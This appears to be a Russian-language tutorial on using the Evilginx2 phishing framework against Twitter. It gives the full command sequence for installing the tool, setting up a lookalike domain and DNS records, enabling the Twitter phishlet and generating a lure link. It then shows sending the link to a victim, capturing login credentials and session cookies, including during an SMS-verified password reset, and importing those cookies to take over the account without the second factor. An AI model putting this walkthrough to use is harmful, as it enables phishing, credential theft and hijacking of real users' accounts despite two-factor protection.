В этой статье, речь пойдет о фишинге и обходе двухфакторной аутентификации с помощью замечательного инструмента – Evilginx2.
Вторая версия Evilginx привлекает своей особенностью помогать тестировщикам на проникновение, и прочим хорошим людям обходить двухфакторную аутентификацию, и получать учетные данные от различных аккаунтов цели.
Evilginx2 - это фреймворк типа «man-in-the-middle», используемый для фишинга учетных данных для входа в систему наряду с сеансовыми cookie-файлами, что, в свою очередь, позволяет обойти защиту двухфакторной аутентификации.
Этот инструмент является преемником Evilginx, выпущенного в 2017 году, который использовал пользовательскую версию HTTP-сервера nginx для обеспечения функционала «man-in-the-middle» в качестве прокси между браузером и фишинговым веб-сайтом. Настоящая версия, полностью написана на GO, как отдельное приложение.
Evilginx2 - реализует собственный HTTP и DNS-сервер, что делает его чрезвычайно простым в настройке и использовании.
В качестве атакующей системы я использую Kali Linux Full Upgrade, и так как Evilginx2 написан на GO, устанавливаем себе его последней версии:
- Скачиваем исходные файлы в архиве.
Код:
wget https://dl.google.com/go/go1.11.5.src.tar.gz
И распаковываем его по указанному пути:
Код:
tar –C /usr/local –xzf go1.11.5.linux-amd64.tar.gz
Добавляем в свой .bashrc (или другой файл профиля) переменные, для запуска GO:
Код:
export GOPATH=$HOME/go
export PATH=$PATH:/usr/local/go/bin:$GOPATH/bin
Теперь, можем устанавливать Evilginx2:
Код:
go get -u github.com/kgretzky/evilginx2
cd $GOPATH/src/github.com/kgretzky/evilginx2
Код:
make
И осуществим пробный запуск, без настроек:
Код:
evilginx2
Переходим, непосредственно к практической части.
Убедитесь, что никакие службы в системе не прослушивают порты TCP 443, TCP 80 и UDP 53.
Код:
netstat –tplnu
Evilginx2 сообщит при запуске, если не удаcтся открыть прослушивающий сокет на любом из этих портов.
По умолчанию evilginx2 будет искать фишлеты в каталоге ./phishlets/, а затем в /usr/share/evilginx /phishlets/. Если вы хотите указать собственный путь для загрузки phishlets, используйте параметр -p <phishlets_dir_path> при запуске инструмента.
Вызов справки:
Код:
evilginx2 –h
Кроме этой, существует внутренняя справка по командам в самом Evilginx2.
Переходим, к настройке инструмента, перед проведением атаки.
Регистрируем домен и настраиваем серверы имен (ns1 и ns2) в панели администратора провайдера домена, чтобы они указывали на IP-адрес вашего сервера с Evilginx.
Настройте домен и IP-адрес вашего сервера, используя следующие команды:
Код:
config domain yourdomain.com
config ip (your ip)
Теперь вы можете настроить phishlet, который хотите использовать. В этом случае это будет phishlet Twitter. Установите имя хоста для phishlet (он должен содержать ваш домен).
Код:
phishlets hostname twitter twitter.com.maligncorp.com
Затем необходимо получить CNAME’s для фишлета twitter, и прописать их в админ панели Domain – провайдера:
Каноническое имя (запись CNAME) – это тип записи DNS, которая привязывает псевдоним к действительному (каноническому) доменному имени. Записи CNAME обычно используются для привязки субдомена, такого как www или mail к домену, в котором размещен контент этого субдомена. Например, запись CNAME может привязывать веб-адрес www.example.com к фактическому веб-сайту для домена example.com.
Код:
phishlets get-hosts twitter
Добавляем эти имена в панели управления:
Включаем в работу фишлет:
Код:
phishlets enable twitter
Ждём получения сертификатов, и если всё прошло успешно – видим такой вывод.
Сделаем редирект, на оригинальный домен twitter’a:
Код:
config redirect_url http://twitter.com
Затем, необходимо создать приманку – фишинговый путь к форме авторизации в твиттере, делается это так:
Код:
lures create twitter
Копируем path и добавляем его к нашей фишинговой ссылке, в итоге, она должна выглядеть так:
Код:
https://twitter.com.maligncorp.com/jNvKjIkI
Поделимся ей с жертвой наших манипуляций и подождём результата, примерно такого:
Ссылка выглядит стрёмно, (в защиту скажу – HTTPS) но кто на неё смотрит?
Ввод логина и пароля… и
Проверяем захваченные сессии, в случае, если пароль введен, верно, и вход в аккаунт осуществлён, в таблице, в столбце tokens будет значение captured, это означает, что помимо логина и пароля мы получили Cookies авторизованной сессии пользователя в twitter.
Чтобы не вводить логин и пароль, воспользуемся ими, чтобы войти в аккаунт жертвы:
Код:
sessions 7
Копируем всё это, переходим у себя в браузере на twitter.com, затем используя аддон, EditThisCookie импортируем данные и перезагружаем страницу:
С этим – всё ок, получилось. Теперь двухфакторная аутентификация, чуть справки:
- Двухфакторная аутентификация — это метод идентификации пользователя в каком-либо сервисе (как правило, в Интернете) при помощи запроса аутентификационных данных двух разных типов, что обеспечивает двухслойную, а значит, более эффективную защиту аккаунта от несанкционированного проникновения. На практике это обычно выглядит так: первый рубеж — это логин и пароль, второй — специальный код, приходящий по SMS или электронной почте. Реже второй «слой» защиты запрашивает специальный USB-ключ или биометрические данные пользователя. В общем, суть подхода очень проста: чтобы куда-то попасть, нужно дважды подтвердить тот факт, что вы — это вы, причем при помощи двух «ключей», одним из которых вы владеете, а другой держите в памяти.
Рассмотрим ситуацию, когда, цели необходимо восстановить пароль, та же ДФА с помощью телефона.
Приходит СМС от сервиса, и вводим полученный код:
Жертва сбрасывает пароль, в этом случае мы его не получаем, наш профит – это cookie текущей сессии:
Смотрим, что у нас в сессии, и копируем данные для импорта в браузер:
Итог, вполне предсказуем:
Это всё, что я хотел рассказать. Evilginx2 - очень крутой инструмент, советую посмотреть содержимое папки /phislets, уверен, натолкнёт на определенные мысли.